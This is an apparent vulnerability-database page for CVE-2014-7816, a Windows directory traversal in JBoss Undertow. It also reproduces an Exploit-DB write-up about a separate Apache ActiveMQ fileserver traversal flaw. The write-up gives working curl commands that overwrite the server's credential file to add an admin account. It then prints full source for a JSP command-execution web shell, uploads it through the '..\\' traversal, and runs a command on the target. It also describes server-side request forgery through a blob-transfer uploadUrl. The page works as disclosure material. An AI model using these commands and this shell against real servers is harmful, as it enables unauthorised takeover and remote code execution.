CVE-2014-7816 Detail

CVE-2014-7816

CVE Descriptions

Directory traversal vulnerability in JBoss Undertow 1.0.x before 1.0.17, 1.1.x before 1.1.0.CR5, and 1.2.x before 1.2.0.Beta3, when running on Windows, allows remote attackers to read arbitrary files via a .. (dot dot) in a resource URI.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:P/I:N/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 40857

Publication date : 2015-08-16 22h00 +00:00
Author : David Jorm
EDB Verified : Yes

I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution. Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes: <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping"> <property name="constraint" ref="securityConstraint"> <property name="pathSpec" value="/api/*,/admin/*,*.jsp"> </property></property> </bean> Effectively blocking the upload of JSP files into contexts that will allow them to execute. I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials: $ cat jetty-realm.properties hacker: hacker, admin $ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties This seems to have the disadvantage of requiring a reboot of the server to take effect. I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. The attacker can then take a standard JSP shell: $ cat cmd.jsp <%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context: $ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp And pop a calc on the server: $ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe Exploiting non-Windows servers All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. That said, clients can specify the uploadUrl for a blob transfer, e.g.: tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers. Resolution The ActiveMQ project has released an advisory and patches. This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.